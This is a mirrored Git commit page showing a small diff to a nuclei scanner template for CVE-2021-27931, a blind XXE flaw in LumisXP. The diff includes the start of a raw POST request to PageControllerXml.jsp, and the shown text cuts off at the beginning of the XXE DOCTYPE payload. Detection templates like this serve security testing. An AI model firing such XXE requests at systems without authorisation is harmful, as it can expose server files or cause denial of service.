daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #3252 from projectdiscovery/pr-fix 

Update CVE-2021-27931.yaml
patch-1
Prince Chaddha 2021-12-03 14:32:06 +05:30 committed by GitHub
parent 10c0f1b22f 3cade85cc8
commit 0ac3b4da59
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
cves/2021/CVE-2021-27931.yaml
View File

@ -6,24 +6,20 @@ info:
severity: critical severity: critical
description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XXE via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service. description: LumisXP (aka Lumis Experience Platform) before 10.0.0 allows unauthenticated blind XXE via an API request to PageControllerXml.jsp. One can send a request crafted with an XXE payload and achieve outcomes such as reading local server files or denial of service.
reference: reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-27931
- https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt - https://github.com/sl4cky/LumisXP-XXE---POC/blob/main/poc.txt
tags: cve,cve2021,lumis,xxe - https://nvd.nist.gov/vuln/detail/CVE-2021-27931
classification: classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.10 cvss-score: 9.10
cve-id: CVE-2021-27931 cve-id: CVE-2021-27931
cwe-id: CWE-611 cwe-id: CWE-611
tags: cve,cve2021,lumis,xxe,oast
requests: requests:
- raw: - raw:
- | - |
POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1 POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Length: 197
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
<?xml version="1.0" ?> <?xml version="1.0" ?>
<!DOCTYPE r [ <!DOCTYPE r [